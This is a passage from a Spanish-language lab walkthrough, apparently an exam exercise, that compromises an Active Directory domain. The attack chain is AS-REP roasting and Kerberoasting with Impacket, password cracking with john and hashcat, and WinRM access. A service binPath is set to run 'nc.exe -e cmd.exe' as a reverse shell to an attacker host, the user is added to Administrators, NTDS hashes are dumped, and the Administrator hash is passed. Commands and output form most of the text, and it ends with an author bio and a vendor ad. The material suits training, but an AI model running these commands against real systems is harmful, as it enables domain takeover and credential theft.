[proxychains] Strict chain	127.0.0.1:1080	EXAMEN.LOCAL:88		ОК
[proxychains] Strict chain	127.0.0.1:1080	EXAMEN.LOCAL:88		ОК
[*] Valid user ⇒ julian				
[proxychains] Strict chain	127.0.0.1:1080	EXAMEN.LOCAL:88		ОК
[proxychains] Strict chain	127.0.0.1:1080	EXAMEN.LOCAL:88		ОК
[proxychains] Strict chain	127.0.0.1:1080	EXAMEN.LOCAL:88		OK
[proxychains] Strict chain	127.0.0.1:1080	EXAMEN.LOCAL:88		ОК
[proxychains] Strict chain	127.0.0.1:1080	EXAMEN.LOCAL:88		OK
[proxychains] Strict chain	127.0.0.1:1080	EXAMEN.LOCAL:88		ОК
[proxychains] Strict chain	127.0.0.1:1080	EXAMEN.LOCAL:88		OK
[proxychains] Strict chain	127.0.0.1:1080	EXAMEN.LOCAL:88		ОК
[proxychains] Strict chain	127.0.0.1:1080	EXAMEN.LOCAL:88		OK
[*] No passwords were discovered				

Identificamos que el usuario "ifp_asrep" tiene la Flag "dont_req_preauth"

10. KERBEROS TGT y TGS

Solicitaremos un TGT del usuario ifp_asrep:

proxychains python3 /usr/share/doc/python3impacket/examples/GetNPUsers.py examen.local/ifp_asrep -dc-ip examen.local -no-pass

Capturamos el ticket y lo guardamos en un fichero de texto tgt.txt

Crakeamos el "tgt" con john o con hashcat, usando como diccionario rockyou.txt

hashcat -m 18200 tgt.txt /usr/share/wordlists/rockyou.txt

john --wordlist=/usr/share/wordlists/rockyou.txt tgt.txt

L <mark># john</mark> wordlist=/usr/share/wordlists/rockyou.txt tgt.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 A
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Password1 (\$krb5asrep\$23\$ifp_asrep@EXAMEN.LOCAL)
1g 0:00:00:00 DONE (2023-06-05 05:45) 25.00g/s 89600p/s 89600c/s 89600C/s asdf1234fresa
Use the "show" option to display all of the cracked passwords reliably
Session completed.

Verificamos las credenciales con crackmapexec por SMB:

```
(root@kali)-[/home/kali]
    # proxychains crackmapexec smb -dc-ip 192.168.223.11 -u ifp_asrep -p Password1 examen.local
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.223.11:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.223.11:135 ... OK
SMB 192.168.223.11 445 WIN-442P9GU13EM [*] Windows Server 2016 Standard Evaluation 14393 x6
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.223.11:445 ... OK
SMB 192.168.223.11 445 WIN-442P9GU13EM [*] c-ip\ifp_asrep:Password1
```



Vemos que la contraseña es válida pero no tiene privilegios para conectarnos por psexec.

Probamos a conectarnos con crackmapexec por winrm:

(root@kali)-[/home/kali] # proxychains crackmapexec winrm -dc-ip 192.168.223.11 -u ifp_asrep -p Password1 examen.local			
[proxychains] config file found: /etc/proxychains4.conf			
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4			
[proxychains] DLL init: proxychains-ng 4.16			
[proxychains] Strict chain 127.0.0.1:1080 192.168.223.11:5986 ← denied			
[proxychains] Strict chain 127.0.0.1:1080 192.168.223.11:5985 OK			
HTTP 192.168.223.11 5985 192.168.223.11 [*] http://192.168.223.11:5985/wsman			
[proxychains] Strict chain 127.0.0.1:1080 192.168.223.11:5985 OK			
[proxychains] Strict chain 127.0.0.1:1080 192.168.223.11:5985 OK			
WINRM 192.168.223.11 5985 192.168.223.11 [-] c-ip\ifp_asrep:Password1			
[proxychains] Strict chain 127.0.0.1:1080 192.168.223.11:5985 OK			
[proxychains] Strict chain 127.0.0.1:1080 192.168.223.11:5985 OK			
WINRM 000 192.168.223.11 (5985 192.168.223.11 [-] c-ip\ifp_asrep:examen.local			

Vemos que no tenemos privilegios.

Intentamos generar un GTS usando las credenciales de usuario que ya hemos obtenido:

En el dominio se tiene un SPN creado con un usuario de servicio "SVC_SQL". Por lo que podemos en este caso solicitar un TGS de este usuario.



proxychains python3 /usr/share/doc/python3impacket/examples/GetUserSPNs.py examen.local/ifp_asrep:Password1 request



De nuevo crackeamos el hash con john:

john --wordlist=/usr/share/wordlists/rockyou.txt tgs.txt





Probamos a conectarnos de nuevo por crackmapexec por winrm y smb con el nuevo usuario y contraseña.

proxychains crackmapexec winrm -dc-ip 192.168.223.11 -u SVC_SQL -p Password! examen.local

<pre>(root@kali)-[/home/kali]</pre>		
proxychains crackmapexec winrm -dc-ip 192.168.223.11 -u SVC_SQL -p Password! examen.local		
[proxychains] config file found: /etc/proxychains4.conf		
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4		
[proxychains] DLL init: proxychains-ng 4.16		
[proxychains] Strict chain 127.0.0.1:1080 192.168.223.11:5986 ← denied		
[proxychains] Strict chain 127.0.0.1:1080 192.168.223.11:5985 OK		
HTTP 192.168.223.11 5985 192.168.223.11 [*] http://192.168.223.11:5985/wsman		
[proxychains] Strict chain 127.0.0.1:1080 192.168.223.11:5985 OK		
[proxychains] Strict chain 127.0.0.1:1080 192.168.223.11:5985 OK		
WINRM 02.192.168.223.11 5985 192.168.223.11 [+] c-ip\SVC_SQL:Password! (Pwn3d!)		

Nos pone "Pwn3d", por lo que ya podemos conectarnos por winrm.

(root@kali)-[/home/kali]
<pre>(root@ kali)-[/home/kali] # proxychains evil-winrm -i 192.168.223.8 -u SVC_SQL -p Password! [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.16</pre>
Evil-WinReshell:V3.41 / Enter/pice_sweep
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemen
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completio Provided by: Info: Establishing connection to remote endpoint
[proxychains] Strict chain 127.0.0.1:1080 192.168.223.8:5985 OK *Evil-WinRM* PS C:\Users\SVC_SQL\Documents> services

11. ELEVACIÓN DE PRIVILEGIOS AD Y VOLCADO DE NTDS

Enumeramos la máquina con WinPEAS y con ADPeas, listamos los servicios.

Evil-WinRM PS C:\Users\SVC_SQL\Documents> services		01
Path	Privileges	Service
C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SMSvcHost.exe C:\Windows\SysWow64\porfhost.exe C:\Windows\SysWow64\porfhost.exe C:\Windows\service\vuln\nc.exe C:\Windows\service\vuln\nc.exe C:\Windows\service\vuln\nc.exe C:\Program Files\Windows Defender\NisSrv.exe" "C:\Program Files\Windows Defender\MsMpEng.exe"	True True True True True False True True	ADWS ASPNet_state NetTcpPortSharing PerfHost SERVICIO_VULNERABLE TrustedInstaller WdNisSvc WinDefend

Identificamos que existe un servicio vulnerable a Unquoted Service Path, ya que el bin_path tiene espacios sin comillas

cd "C:\Vuln Service\vuln"

Dentro de esta carpeta hay un binario de netcat, nc.exe. Por lo cual intentaremos modificar el bin path, bajar el servicio y volverlo a levantar para que nos ejecute una reverse_shell hacia la máquina Ubuntu.



Recordemos que este servicio está ejecutándose con privilegios del sistema.

sc.exe config SERVICIO_VULNERABLE binPath= 'C:\Vuln Service\vuln\nc.exe -e cmd.exe (IP) (Puerto a poner en escucha)'

#Evil=WindMW PS C:\Vuln Service\vuln> sc.exe config SERVICIO_VULNERABLE binPath= 'C:\Vuln Service\vuln\nc.exe -e cmd.exe 192.168.223.7 54'
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.223.8:5985 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.223.8:5985 ... OK
[SC] ChangeServiceConfig CORRECTO

En este punto dentro del directorio "servicio vulnerable" hemos creado una revershell apuntando a la maquina Ubuntu para escuchar a través del puerto "54".

Es importante desde otra terminal conectarnos desde fuera de metasploit y a través de ssh a la maquina Ubuntu que es desde donde nos pondremos a la escucha para recibir la revershell.

Accedemos por ssh a la máquina Ubuntu y nos ponemos a la escucha:

root@osboxes:/tmp# nc -nlvp 54

rootãosboxes:/tmp# nc -nlvp 54 Listening on [0.0.0.0] (family 0, port 54)

Iniciamos el servicio desde la sesión del AD:

sc.exe start SERVICIO_VULNERABLE

Evil-WinRM PS C:\Vuln Service\vuln> sc.exe start SE	RVICIO_VULNERABLE	
[proxychains]@Strict@chain found 127.0.0.1:1080	192.168.223.8:5985	ОК
[proxychains] Strict2chain found 127.0.0.1:1080	192.168.223.8:5985	OK
C[proxychains].Stricthchainound. 127.0.0.1:1080	. 192.168.223.8:5985	OK
[proxychains] StrictSchain found 127.0.0.1:1080	192.168.223.8:5985	OK

En este punto estamos a la escucha en la sesión de ssh, hemos ejecutado el servicio al que hemos añadido anteriormente la reverse Shell lo que hace que en la sesión de ssh a la escucha se nos abra,



En la sesión de la reverse Shell añadimos el usuario "SVC_SQL" al grupo "Administradores"

net localgroup Administradores SVC_SQL /add





Usando crackmapexec hacemos un volcado del ntds del AD con el usuario SVC_SQL el cual ahora pertenece al grupo Administradores.

proxychains crackmapexec smb (IP)-d examen.local -u SVC_SQL -p Password! --ntds

(root@kali)-[/home/kali]		
- nano /etc/hosts		
0 post/multi/gather/ping_swee		
(root@kall)-[/home/kall]		
proxychains crackmapexec smb	192.168.223.8 -d e	xamen.local -u SVC_SQL -p Password!ntds
[proxychains] config file found:	/etc/proxychains4.	confid 0, use 0 or use post/multi/gather/ping_sweep
[proxychains] preloading /usr/li	p/x86_64-linux-gnu/	libproxychains.so.4
[proxychains] DLL init: proxycha:	ins-ng 4.16	
[proxychains] Strict chain	127.0.0.1:1080	. 192.168.223.8:445 OK
[proxychains] Strict chain	127.0.0.1:1080	. 192.168.223.8:135 OK
SMB Name: 192.168.223.8 P14455	WIN-442P9GU13EM	[*] Windows Server 2016 Standard Evaluation 14393 x64 (name:WIN-
442P9GU13EM) (domain:examen.loca	l) (signing:True) (SMBv1:True)
[proxychains] Strict chain StSo	127.0.0.1:1080	. 192.168.223.8:445 OK
SMB Arch: 192.168.223.8 445	WIN-442P9GU13EM	<pre>[+] examen.local\SVC_SQL:Password! (Pwn3d!)</pre>
SMB Rank: 192:168.223.8 445	WIN-442P9GU13EM	[+] Dumping the NTDS, this could take a while so go grab a redbu
u		
[proxychains] Strict chain	127.0.0.1:1080	. 192.168.223.8:135 OK
[proxychains] Strict chain C.L.	127.0.0.1:1080	. 192.168.223.8:49667 OK
SMB 192.168.223.8 445	WIN-442P9GU13EM	Administrador:500:aad3b435b51404eeaad3b435b51404ee:cfae279a29221
3ad9968334a452e6b8a:::est		
SMB eterprete192.168.223.8 445	WIN-442P9GU13EM	Invitado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b7
3c59d7e0c089c0:::		
SMB 192.168.223.8 445	WIN-442P9GU13EM	krbtgt:502:aad3b435b51404eeaad3b435b51404ee:36126cbde83ad22c9bb2
ad1f0e3176ce:::		
SMB 0 (192.168.223.8 445)	WIN-442P9GU13EM	DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16a
e931b73c59d7e0c089c0:::		
SMBHOSTS 192.168.223.8 445	WIN-442P9GU13EM	<pre>examen.local\ifp_asrep:1103:aad3b435b51404eeaad3b435b51404ee:64f</pre>
12cddaa88057e06a81b54e73b949b:::		
SMB 192.168.223.8 445	WIN-442P9GU13EM	examen.local\SVC_SQL:1104:aad3b435b51404eeaad3b435b51404ee:fbdcd
5041c96ddbd82224270b57f11fc:::		
SMB reforms 192.168.223.80 0445g	WIN-442P9GU13EM	examen.local\guille:1105:aad3b435b51404eeaad3b435b51404ee:6868d4
8bb415b5851c19ff4c51e78f45:::		
SMB 192.168.223.8 445	WIN-442P9GU13EM	examen.local\vuln:1106:aad3b435b51404eeaad3b435b51404ee:6868d48b
b415b5851c19ff4c51e78f45::::::::::::::::::::::::::::::::::::		
SMB 192.168.223.8 445	WIN-442P9GU13EM	examen.local\admin:1107:aad3b435b51404eeaad3b435b51404ee:6868d48
bb415b5851c19ff4c51e78f45:::		
SMB 192.168.223.8 445	WIN-442P9GU13EM	examen.local\user1:1108:aad3b435b51404eeaad3b435b51404ee:6868d48
bb415b5851c19ff4c51e78f45:::		
SMB 101 → 192.168.223.8 445	WIN-442P9GU13EM	examen.local\julian:1109:aad3b435b51404eeaad3b435b51404ee:6868d4
8bb415b5851c19ff4c51e78f45:::		
SMB 192.168.223.8 445	WIN-442P9GU13EM	WIN-442P9GU13EM\$:1000:aad3b435b51404eeaad3b435b51404ee:fadec5afb
8e29c855e2a7c82fda2b713::: for IP		
SMB 192.192.168.223.8 [445]	WIN-442P9GU13EM	[+] Dumped 12 NTDS hashes to /root/.cme/logs/WIN-442P9GU13EM_192
.168.223.8_2023-06-05_185755.ntd	s of which 11 were .	added to the database

12. CONEXION COMO ADMINISTRADOR

Nos conectamos como administrador usando el hash NTLM que hemos identificado en el volcado del NTDS, podemos hacerlo con psexec, wmiexec o con evil-winrm

proxychains evil-winrm -i 192.168.223.11 -u Administrador -H cfae279a292213ad99683.....





Autor de esta guía



Julián David Delgado Piraquive

Head of Offensive Security & MDR

Julián es un experto en ciberseguridad, especializado en seguridad ofensiva y respuesta ante incidentes. Lidera equipos de Red Team y MDR en Factum Information Technologies, además es docente tutor de un Máster Universitario de Ciberseguridad.

Ver más contenido de este autor





Puedes encontrar más contenido como este en www.cylum.tech



Simplificamos la ciberseguridad

Soluciona tus necesidades de ciberseguridad, protégete ante los riesgos digitales. Cumple con la regulación.



Personal Experto



Tecnología



Cumplimiento normativo



Protección 24x7